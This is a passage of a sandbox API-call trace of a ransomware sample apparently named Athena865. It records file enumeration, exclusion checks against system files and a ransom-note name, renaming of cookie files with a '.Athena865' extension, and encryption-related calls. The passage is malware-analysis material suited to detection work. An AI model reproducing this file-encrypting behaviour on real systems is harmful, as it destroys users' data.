settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtech[2].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.031] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=101) returned 1 [0101.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.032] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.032] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0101.032] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.032] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.032] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.033] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x370, lpName=0x0) returned 0x17c [0101.035] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x370) returned 0x100000 [0101.036] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.037] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.037] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x544058 [0101.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x544058 | out: hHeap=0x4f0000) returned 1 [0101.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.038] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.038] CloseHandle (hObject=0x17c) returned 1 [0101.038] CloseHandle (hObject=0x154) returned 1 [0101.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5193c0 | out: hHeap=0x4f0000) returned 1 [0101.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.038] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53c70990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53c70990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x53c70990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x52, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@adtr02[1].txt", cAlternateFileName="5P5NRG~3.TXT")) returned 1 [0101.038] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtr02[1].txt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.038] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtr02[1].txt", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.038] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtr02[1].txt", lpString2=".") returned 1 [0101.038] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtr02[1].txt", lpString2="..") returned 1 [0101.038] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtr02[1].txt", lpString2="windows") returned -1 [0101.038] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtr02[1].txt", lpString2="bootmgr") returned -1 [0101.038] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtr02[1].txt", lpString2="temp") returned -1 [0101.038] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtr02[1].txt", lpString2="pagefile.sys") returned -1 [0101.038] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtr02[1].txt", lpString2="boot") returned -1 [0101.038] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtr02[1].txt", lpString2="ids.txt") returned -1 [0101.038] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtr02[1].txt", lpString2="ntuser.dat") returned -1 [0101.038] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtr02[1].txt", lpString2="perflogs") returned -1 [0101.038] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtr02[1].txt", lpString2="MSBuild") returned -1 [0101.038] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@adtr02[1].txt") returned 34 [0101.038] lstrcpyW (in: lpString1=0x241e8be, lpString2="5p5nrgjn0js_halpmcxz@adtr02[1].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@adtr02[1].txt") returned="5p5nrgjn0js_halpmcxz@adtr02[1].txt" [0101.038] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@adtr02[1].txt") returned 34 [0101.038] lstrlenW (lpString="Athena865") returned 9 [0101.039] lstrcmpiW (lpString1="02[1].txt", lpString2="Athena865") returned -1 [0101.039] lstrlenW (lpString=".dll") returned 4 [0101.039] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtr02[1].txt", lpString2=".dll") returned 1 [0101.039] lstrlenW (lpString=".lnk") returned 4 [0101.039] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtr02[1].txt", lpString2=".lnk") returned 1 [0101.039] lstrlenW (lpString=".ini") returned 4 [0101.039] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtr02[1].txt", lpString2=".ini") returned 1 [0101.039] lstrlenW (lpString=".sys") returned 4 [0101.039] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adtr02[1].txt", lpString2=".sys") returned 1 [0101.039] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@adtr02[1].txt") returned 34 [0101.039] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt.Athena865") returned 103 [0101.039] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt.athena865"), dwFlags=0x1) returned 1 [0101.040] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.040] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=82) returned 1 [0101.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0101.040] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.041] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.041] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.041] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x360, lpName=0x0) returned 0x17c [0101.044] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x360) returned 0x100000 [0101.044] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.045] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.045] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.045] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.045] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.045] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.045] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.045] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x544058 [0101.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x544058 | out: hHeap=0x4f0000) returned 1 [0101.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.046] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.046] CloseHandle (hObject=0x17c) returned 1 [0101.046] CloseHandle (hObject=0x154) returned 1 [0101.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5193c0 | out: hHeap=0x4f0000) returned 1 [0101.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.046] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x517fd8b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x51332930, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x51332930, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x125, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@advertising[1].txt", cAlternateFileName="5P5NRG~1.TXT")) returned 1 [0101.046] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@advertising[1].txt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.046] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@advertising[1].txt", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.046] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@advertising[1].txt", lpString2=".") returned 1 [0101.046] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@advertising[1].txt", lpString2="..") returned 1 [0101.046] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@advertising[1].txt", lpString2="windows") returned -1 [0101.046] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@advertising[1].txt", lpString2="bootmgr") returned -1 [0101.046] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@advertising[1].txt", lpString2="temp") returned -1 [0101.046] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@advertising[1].txt", lpString2="pagefile.sys") returned -1 [0101.047] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@advertising[1].txt", lpString2="boot") returned -1 [0101.047] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@advertising[1].txt", lpString2="ids.txt") returned -1 [0101.047] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@advertising[1].txt", lpString2="ntuser.dat") returned -1 [0101.047] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@advertising[1].txt", lpString2="perflogs") returned -1 [0101.047] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@advertising[1].txt", lpString2="MSBuild") returned -1 [0101.047] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@advertising[1].txt") returned 39 [0101.047] lstrcpyW (in: lpString1=0x241e8be, lpString2="5p5nrgjn0js_halpmcxz@advertising[1].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@advertising[1].txt") returned="5p5nrgjn0js_halpmcxz@advertising[1].txt" [0101.047] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@advertising[1].txt") returned 39 [0101.047] lstrlenW (lpString="Athena865") returned 9 [0101.047] lstrcmpiW (lpString1="ng[1].txt", lpString2="Athena865") returned 1 [0101.047] lstrlenW (lpString=".dll") returned 4 [0101.047] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@advertising[1].txt", lpString2=".dll") returned 1 [0101.047] lstrlenW (lpString=".lnk") returned 4 [0101.047] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@advertising[1].txt", lpString2=".lnk") returned 1 [0101.047] lstrlenW (lpString=".ini") returned 4 [0101.047] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@advertising[1].txt", lpString2=".ini") returned 1 [0101.047] lstrlenW (lpString=".sys") returned 4 [0101.047] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@advertising[1].txt", lpString2=".sys") returned 1 [0101.047] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@advertising[1].txt") returned 39 [0101.047] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt.Athena865") returned 108 [0101.047] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@advertising[1].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@advertising[1].txt.athena865"), dwFlags=0x1) returned 1 [0101.048] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@advertising[1].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.048] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=293) returned 1 [0101.048] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.049] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.049] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0101.049] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.049] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.049] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.050] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x430, lpName=0x0) returned 0x17c [0101.052] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x430) returned 0x100000 [0101.053] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.053] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.054] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.054] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.054] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.054] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.054] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.054] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x544058 [0101.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x544058 | out: hHeap=0x4f0000) returned 1 [0101.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.054] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.054] CloseHandle (hObject=0x17c) returned 1 [0101.054] CloseHandle (hObject=0x154) returned 1 [0101.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5193c0 | out: hHeap=0x4f0000) returned 1 [0101.055] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.055] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54cce0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54cce0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54cce0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@api.bing[2].txt", cAlternateFileName="5P40FC~1.TXT")) returned 1 [0101.055] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@api.bing[2].txt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.055] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@api.bing[2].txt", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.055] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@api.bing[2].txt", lpString2=".") returned 1 [0101.055] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@api.bing[2].txt", lpString2="..") returned 1 [0101.055] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@api.bing[2].txt", lpString2="windows") returned -1 [0101.055] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@api.bing[2].txt", lpString2="bootmgr") returned -1 [0101.055] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@api.bing[2].txt", lpString2="temp") returned -1 [0101.055] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@api.bing[2].txt", lpString2="pagefile.sys") returned -1 [0101.055] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@api.bing[2].txt", lpString2="boot") returned -1 [0101.055] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@api.bing[2].txt", lpString2="ids.txt") returned -1 [0101.055] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@api.bing[2].txt", lpString2="ntuser.dat") returned -1 [0101.055] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@api.bing[2].txt", lpString2="perflogs") returned -1 [0101.055] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@api.bing[2].txt", lpString2="MSBuild") returned -1 [0101.055] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@api.bing[2].txt") returned 36 [0101.055] lstrcpyW (in: lpString1=0x241e8be, lpString2="5p5nrgjn0js_halpmcxz@api.bing[2].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@api.bing[2].txt") returned="5p5nrgjn0js_halpmcxz@api.bing[2].txt" [0101.055] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@api.bing[2].txt") returned 36 [0101.055] lstrlenW (lpString="Athena865") returned 9 [0101.055] lstrcmpiW (lpString1="ng[2].txt", lpString2="Athena865") returned 1 [0101.055] lstrlenW (lpString=".dll") returned 4 [0101.055] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@api.bing[2].txt", lpString2=".dll") returned 1 [0101.055] lstrlenW (lpString=".lnk") returned 4 [0101.055] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@api.bing[2].txt", lpString2=".lnk") returned 1 [0101.056] lstrlenW (lpString=".ini") returned 4 [0101.056] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@api.bing[2].txt", lpString2=".ini") returned 1 [0101.056] lstrlenW (lpString=".sys") returned 4 [0101.056] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@api.bing[2].txt", lpString2=".sys") returned 1 [0101.056] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@api.bing[2].txt") returned 36 [0101.056] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt.Athena865") returned 105 [0101.056] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt.athena865"), dwFlags=0x1) returned 1 [0101.057] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.057] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=221) returned 1 [0101.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0101.058] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.059] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.059] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.059] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e0, lpName=0x0) returned 0x17c [0101.061] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e0) returned 0x100000 [0101.061] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.062] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.062] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.062] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.063] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.063] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x544058 [0101.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x544058 | out: hHeap=0x4f0000) returned 1 [0101.065] lstrcpyW (in: lpString1=0x241e8be, lpString2="5p5nrgjn0js_halpmcxz@at.atwola[1].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@at.atwola[1].txt") returned="5p5nrgjn0js_halpmcxz@at.atwola[1].txt" [0101.065] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@at.atwola[1].txt") returned 37 [0101.065] lstrlenW (lpString="Athena865") returned 9 [0101.065] lstrcmpiW (lpString1="la[1].txt", lpString2="Athena865") returned 1 [0101.065] lstrlenW (lpString=".dll") returned 4 [0101.065] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@at.atwola[1].txt", lpString2=".dll") returned 1 [0101.065] 